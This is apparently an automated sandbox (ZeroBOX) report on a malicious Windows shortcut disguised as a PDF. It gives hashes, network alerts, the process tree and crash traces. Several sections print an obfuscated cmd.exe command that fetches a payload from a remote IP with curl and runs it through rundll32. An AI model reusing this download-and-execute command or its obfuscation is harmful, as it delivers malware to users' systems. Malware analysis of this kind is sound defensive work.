Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6403_us	Oct. 1, 2023, 4:45 p.m.	Oct. 1, 2023, 4:47 p.m.

Size	2.2KB
Type	MS Windows shortcut, Item id list present, Points to a file or directory, Has Description string, Has Relative path, Has command line arguments, Icon number=0, Archive, ctime=Wed Oct 6 04:51:36 2021, mtime=Thu Sep 28 04:25:25 2023, atime=Wed Oct 6 04:51:36 2021, length=289792, window=hidenormalshowminimized
MD5	`80c2dde809389cff2dbb6c4bc7b26e9d`
SHA256	`f0a8b8281a76fd4d820104d09d08a75ca268530d8202706596a2b5f949dab13f`
CRC32	`DF13F56A`
ssdeep	`24:8aNUiWJCnIcV0RA8vj+/hDhL+1i85V5AfMYCfMNm:8aGYyi0oDhLXMVMN`
Yara	lnk_file_format - Microsoft Windows Shortcut File Format Lnk_Format_Zero - LNK Format Generic_Malware_Zero - Generic Malware

cmd.exe "C:\Windows\System32\cmd.exe" /c start /wait "NoOupPXxvOfRNp" C:\Users\test22\AppData\Local\Temp\AC.pdf.lnk
1020
- cmd.exe "C:\Windows\System32\cmd.exe" /c 4p7 || echo 4p7 & Pi"Ng" 4p7 || c"URl" ht"t"p":"/"/"155.13"8"."22"3"."11"5/eM19/N" -o C:\Users\test22\AppData\Local\Temp\4p7.log & Pi"Ng" -n 2 4p7 || r"U"N"D"L"l"32 C:\Users\test22\AppData\Local\Temp\4p7.log scab /k pechene634 & exI"t" 'ADcHAPCrWqNgA
  2156
  - PING.EXE Pi"Ng" 4p7
    2240
  - curl.exe c"URl" ht"t"p":"/"/"155.13"8"."22"3"."11"5/eM19/N" -o C:\Users\test22\AppData\Local\Temp\4p7.log
    2328
  - PING.EXE Pi"Ng" -n 2 4p7
    2380
  - rundll32.exe r"U"N"D"L"l"32 C:\Users\test22\AppData\Local\Temp\4p7.log scab /k pechene634
    2472

Name	Response	Post-Analysis Lookup
No hosts contacted.

IP Address	Status	Action
155.138.223.115	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.103:49166 -> 155.138.223.115:80	2013028	ET POLICY curl User-Agent Outbound	Attempted Information Leak
TCP 192.168.56.103:49166 -> 155.138.223.115:80	2034567	ET HUNTING curl User-Agent to Dotted Quad	Potentially Bad Traffic

Suricata TLS

No Suricata TLS

Command line console output was observed (5 events)

Time & API	Arguments	Status	Return
WriteConsoleW Oct. 1, 2023, 4:45 p.m.	buffer: '4p7' is not recognized as an internal or external command, operable program or batch file. console_handle: 0x0000000b	1	1
WriteConsoleW Oct. 1, 2023, 4:45 p.m.	buffer: 4p7 console_handle: 0x00000007	1	1
WriteConsoleW Oct. 1, 2023, 4:46 p.m.	buffer: 'exI"t"' is not recognized as an internal or external command, operable program or batch file. console_handle: 0x0000000b	1	1
WriteConsoleA Oct. 1, 2023, 4:45 p.m.	buffer: Ping request could not find host 4p7. Please check the name and try again. console_handle: 0x00000007	1	1
WriteConsoleA Oct. 1, 2023, 4:45 p.m.	buffer: Ping request could not find host 4p7. Please check the name and try again. console_handle: 0x00000007	1	1

One or more processes crashed (3 events)

Time & API	Arguments	Status
__exception__ Oct. 1, 2023, 4:46 p.m.	stacktrace: GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x755f6d3a GetThreadDesktop+0x185 GetWindowLongW-0x216 user32+0x16de8 @ 0x755f6de8 GetThreadDesktop+0x1e1 GetWindowLongW-0x1ba user32+0x16e44 @ 0x755f6e44 KiUserCallbackDispatcher+0x2e KiUserExceptionDispatcher-0x1a ntdll+0x1011a @ 0x778b011a DialogBoxIndirectParamAorW+0x108 SetDlgItemTextW-0x44 user32+0x3cf5c @ 0x7561cf5c SoftModalMessageBox+0x757 MessageBoxTimeoutW-0x391 user32+0x6f73c @ 0x7564f73c SoftModalMessageBox+0xa33 MessageBoxTimeoutW-0xb5 user32+0x6fa18 @ 0x7564fa18 MessageBoxTimeoutW+0x52 MessageBoxTimeoutA-0x9 user32+0x6fb1f @ 0x7564fb1f New_user32_MessageBoxTimeoutW@24+0x137 New_user32_RegisterHotKey@16-0x80 @ 0x746c77b7 MessageBoxExW+0x1b MessageBoxA-0x9 user32+0x6fd15 @ 0x7564fd15 MessageBoxW+0x18 SetSysColors-0x9 user32+0x6fd57 @ 0x7564fd57 rundll32+0x393f @ 0x97393f rundll32+0x247a @ 0x97247a rundll32+0x1baf @ 0x971baf rundll32+0x12e8 @ 0x9712e8 rundll32+0x1901 @ 0x971901 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757f33ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.symbol: exception.exception_code: 0xc0000005 exception.address: 0x74023f46 registers.esp: 1830184 registers.edi: 0 registers.eax: 1946304326 registers.ebp: 1830224 registers.edx: 0 registers.ebx: 0 registers.esi: 1946304326 registers.ecx: 5377384	1
__exception__ Oct. 1, 2023, 4:46 p.m.	stacktrace: GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x755f6d3a GetThreadDesktop+0x185 GetWindowLongW-0x216 user32+0x16de8 @ 0x755f6de8 GetThreadDesktop+0x1e1 GetWindowLongW-0x1ba user32+0x16e44 @ 0x755f6e44 KiUserCallbackDispatcher+0x2e KiUserExceptionDispatcher-0x1a ntdll+0x1011a @ 0x778b011a DialogBoxIndirectParamAorW+0x108 SetDlgItemTextW-0x44 user32+0x3cf5c @ 0x7561cf5c SoftModalMessageBox+0x757 MessageBoxTimeoutW-0x391 user32+0x6f73c @ 0x7564f73c SoftModalMessageBox+0xa33 MessageBoxTimeoutW-0xb5 user32+0x6fa18 @ 0x7564fa18 MessageBoxTimeoutW+0x52 MessageBoxTimeoutA-0x9 user32+0x6fb1f @ 0x7564fb1f New_user32_MessageBoxTimeoutW@24+0x137 New_user32_RegisterHotKey@16-0x80 @ 0x746c77b7 MessageBoxExW+0x1b MessageBoxA-0x9 user32+0x6fd15 @ 0x7564fd15 MessageBoxW+0x18 SetSysColors-0x9 user32+0x6fd57 @ 0x7564fd57 rundll32+0x393f @ 0x97393f rundll32+0x247a @ 0x97247a rundll32+0x1baf @ 0x971baf rundll32+0x12e8 @ 0x9712e8 rundll32+0x1901 @ 0x971901 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757f33ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.symbol: exception.exception_code: 0xc0000005 exception.address: 0x74023f46 registers.esp: 1830184 registers.edi: 0 registers.eax: 1946304326 registers.ebp: 1830224 registers.edx: 0 registers.ebx: 0 registers.esi: 1946304326 registers.ecx: 5377384	1
__exception__ Oct. 1, 2023, 4:46 p.m.	stacktrace: CtfImeIsIME+0x36fd DllUnregisterServer-0xf9d9 msctf+0x2d08c @ 0x750bd08c TF_GetGlobalCompartment+0x3dfd CtfImeIsIME-0x344 msctf+0x2964b @ 0x750b964b TF_GetInputScope+0xf65 CtfImeDestroyThreadMgr-0x25ae msctf+0x14d6b @ 0x750a4d6b TF_GetInputScope+0x3176 CtfImeDestroyThreadMgr-0x39d msctf+0x16f7c @ 0x750a6f7c CtfImeDestroyInputContext+0x280 TF_CanUninitialize-0x1c msctf+0x1e825 @ 0x750ae825 TF_GetInputScope+0x21fc CtfImeDestroyThreadMgr-0x1317 msctf+0x16002 @ 0x750a6002 TF_GetInputScope+0x21e2 CtfImeDestroyThreadMgr-0x1331 msctf+0x15fe8 @ 0x750a5fe8 TF_GetInputScope+0xbdd CtfImeDestroyThreadMgr-0x2936 msctf+0x149e3 @ 0x750a49e3 TF_GetInputScope+0x1c1a CtfImeDestroyThreadMgr-0x18f9 msctf+0x15a20 @ 0x750a5a20 RtlIsCurrentThreadAttachExempt+0x5f TpCheckTerminateWorker-0x37 ntdll+0x39a91 @ 0x778d9a91 LdrShutdownProcess+0x97 RtlDetectHeapLeaks-0x1bb ntdll+0x58f10 @ 0x778f8f10 RtlExitUserProcess+0x74 LdrShutdownProcess-0x1d ntdll+0x58e5c @ 0x778f8e5c ExitProcess+0x15 TerminateThread-0xa kernel32+0x17a25 @ 0x757f7a25 rundll32+0x135c @ 0x97135c rundll32+0x1901 @ 0x971901 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757f33ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: ff 51 0c 8b 45 fc 89 be 8c 04 00 00 3b c7 74 25 exception.symbol: TF_GetCompatibleKeyboardLayout+0x5885 TF_IsCtfmonRunning-0xfd3 msctf+0x43ef4 exception.instruction: call dword ptr [ecx + 0xc] exception.module: MSCTF.dll exception.exception_code: 0xc0000005 exception.offset: 278260 exception.address: 0x750d3ef4 registers.esp: 1832828 registers.edi: 0 registers.eax: 45556064 registers.ebp: 1832856 registers.edx: 1 registers.ebx: 0 registers.esi: 3024336 registers.ecx: 1946170748	1

Time & API

Arguments

Status

Return

Repeated

__exception__

Oct. 1, 2023, 4:46 p.m.

stacktrace:

GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x755f6d3a
GetThreadDesktop+0x185 GetWindowLongW-0x216 user32+0x16de8 @ 0x755f6de8
GetThreadDesktop+0x1e1 GetWindowLongW-0x1ba user32+0x16e44 @ 0x755f6e44
KiUserCallbackDispatcher+0x2e KiUserExceptionDispatcher-0x1a ntdll+0x1011a @ 0x778b011a
DialogBoxIndirectParamAorW+0x108 SetDlgItemTextW-0x44 user32+0x3cf5c @ 0x7561cf5c
SoftModalMessageBox+0x757 MessageBoxTimeoutW-0x391 user32+0x6f73c @ 0x7564f73c
SoftModalMessageBox+0xa33 MessageBoxTimeoutW-0xb5 user32+0x6fa18 @ 0x7564fa18
MessageBoxTimeoutW+0x52 MessageBoxTimeoutA-0x9 user32+0x6fb1f @ 0x7564fb1f
New_user32_MessageBoxTimeoutW@24+0x137 New_user32_RegisterHotKey@16-0x80 @ 0x746c77b7
MessageBoxExW+0x1b MessageBoxA-0x9 user32+0x6fd15 @ 0x7564fd15
MessageBoxW+0x18 SetSysColors-0x9 user32+0x6fd57 @ 0x7564fd57
rundll32+0x393f @ 0x97393f
rundll32+0x247a @ 0x97247a
rundll32+0x1baf @ 0x971baf
rundll32+0x12e8 @ 0x9712e8
rundll32+0x1901 @ 0x971901
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757f33ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5

exception.symbol:
exception.exception_code: 0xc0000005
exception.address: 0x74023f46
registers.esp: 1830184
registers.edi: 0
registers.eax: 1946304326
registers.ebp: 1830224
registers.edx: 0
registers.ebx: 0
registers.esi: 1946304326
registers.ecx: 5377384

__exception__

Oct. 1, 2023, 4:46 p.m.

stacktrace:

GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x755f6d3a
GetThreadDesktop+0x185 GetWindowLongW-0x216 user32+0x16de8 @ 0x755f6de8
GetThreadDesktop+0x1e1 GetWindowLongW-0x1ba user32+0x16e44 @ 0x755f6e44
KiUserCallbackDispatcher+0x2e KiUserExceptionDispatcher-0x1a ntdll+0x1011a @ 0x778b011a
DialogBoxIndirectParamAorW+0x108 SetDlgItemTextW-0x44 user32+0x3cf5c @ 0x7561cf5c
SoftModalMessageBox+0x757 MessageBoxTimeoutW-0x391 user32+0x6f73c @ 0x7564f73c
SoftModalMessageBox+0xa33 MessageBoxTimeoutW-0xb5 user32+0x6fa18 @ 0x7564fa18
MessageBoxTimeoutW+0x52 MessageBoxTimeoutA-0x9 user32+0x6fb1f @ 0x7564fb1f
New_user32_MessageBoxTimeoutW@24+0x137 New_user32_RegisterHotKey@16-0x80 @ 0x746c77b7
MessageBoxExW+0x1b MessageBoxA-0x9 user32+0x6fd15 @ 0x7564fd15
MessageBoxW+0x18 SetSysColors-0x9 user32+0x6fd57 @ 0x7564fd57
rundll32+0x393f @ 0x97393f
rundll32+0x247a @ 0x97247a
rundll32+0x1baf @ 0x971baf
rundll32+0x12e8 @ 0x9712e8
rundll32+0x1901 @ 0x971901
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757f33ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5

__exception__

Oct. 1, 2023, 4:46 p.m.

stacktrace:

CtfImeIsIME+0x36fd DllUnregisterServer-0xf9d9 msctf+0x2d08c @ 0x750bd08c
TF_GetGlobalCompartment+0x3dfd CtfImeIsIME-0x344 msctf+0x2964b @ 0x750b964b
TF_GetInputScope+0xf65 CtfImeDestroyThreadMgr-0x25ae msctf+0x14d6b @ 0x750a4d6b
TF_GetInputScope+0x3176 CtfImeDestroyThreadMgr-0x39d msctf+0x16f7c @ 0x750a6f7c
CtfImeDestroyInputContext+0x280 TF_CanUninitialize-0x1c msctf+0x1e825 @ 0x750ae825
TF_GetInputScope+0x21fc CtfImeDestroyThreadMgr-0x1317 msctf+0x16002 @ 0x750a6002
TF_GetInputScope+0x21e2 CtfImeDestroyThreadMgr-0x1331 msctf+0x15fe8 @ 0x750a5fe8
TF_GetInputScope+0xbdd CtfImeDestroyThreadMgr-0x2936 msctf+0x149e3 @ 0x750a49e3
TF_GetInputScope+0x1c1a CtfImeDestroyThreadMgr-0x18f9 msctf+0x15a20 @ 0x750a5a20
RtlIsCurrentThreadAttachExempt+0x5f TpCheckTerminateWorker-0x37 ntdll+0x39a91 @ 0x778d9a91
LdrShutdownProcess+0x97 RtlDetectHeapLeaks-0x1bb ntdll+0x58f10 @ 0x778f8f10
RtlExitUserProcess+0x74 LdrShutdownProcess-0x1d ntdll+0x58e5c @ 0x778f8e5c
ExitProcess+0x15 TerminateThread-0xa kernel32+0x17a25 @ 0x757f7a25
rundll32+0x135c @ 0x97135c
rundll32+0x1901 @ 0x971901
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757f33ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5

exception.instruction_r: ff 51 0c 8b 45 fc 89 be 8c 04 00 00 3b c7 74 25
exception.symbol: TF_GetCompatibleKeyboardLayout+0x5885 TF_IsCtfmonRunning-0xfd3 msctf+0x43ef4
exception.instruction: call dword ptr [ecx + 0xc]
exception.module: MSCTF.dll
exception.exception_code: 0xc0000005
exception.offset: 278260
exception.address: 0x750d3ef4
registers.esp: 1832828
registers.edi: 0
registers.eax: 45556064
registers.ebp: 1832856
registers.edx: 1
registers.ebx: 0
registers.esi: 3024336
registers.ecx: 1946170748

HTTP traffic contains suspicious features which may be indicative of malware related traffic (1 event)

suspicious_features

Connection to IP address

suspicious_request

GET http://155.138.223.115/eM19/N

Performs some HTTP requests (1 event)

request

GET http://155.138.223.115/eM19/N

Allocates read-write-execute memory (usually to unpack itself) (1 event)

Time & API	Arguments	Status	Return	Repeated
NtProtectVirtualMemory Oct. 1, 2023, 4:45 p.m.	process_identifier: 2472 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73fb1000 process_handle: 0xffffffff	1	0	0

Creates a shortcut to an executable file (1 event)

file	C:\Users\test22\AppData\Local\Temp\AC.pdf.lnk

Creates a suspicious process (1 event)

cmdline

"C:\Windows\System32\cmd.exe" /c 4p7 || echo 4p7 & Pi"Ng" 4p7 || c"URl" ht"t"p":"/"/"155.13"8"."22"3"."11"5/eM19/N" -o C:\Users\test22\AppData\Local\Temp\4p7.log & Pi"Ng" -n 2 4p7 || r"U"N"D"L"l"32 C:\Users\test22\AppData\Local\Temp\4p7.log scab /k pechene634 & exI"t" 'ADcHAPCrWqNgA

Yara rule detected in process memory (9 events)

description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	DebuggerException__SetConsoleCtrl
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Checks if being debugged	rule	anti_dbg
description	Bypass DEP	rule	disable_dep

Communicates with host for which no DNS query was performed (1 event)

host

155.138.223.115

Resumed a suspended thread in a remote process potentially indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 1020 resumed a thread in remote process 2156
NtResumeThread Oct. 1, 2023, 4:45 p.m.	thread_handle: 0x000002f0 suspend_count: 1 process_identifier: 2156	1	0	0

AC.pdf.lnk

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All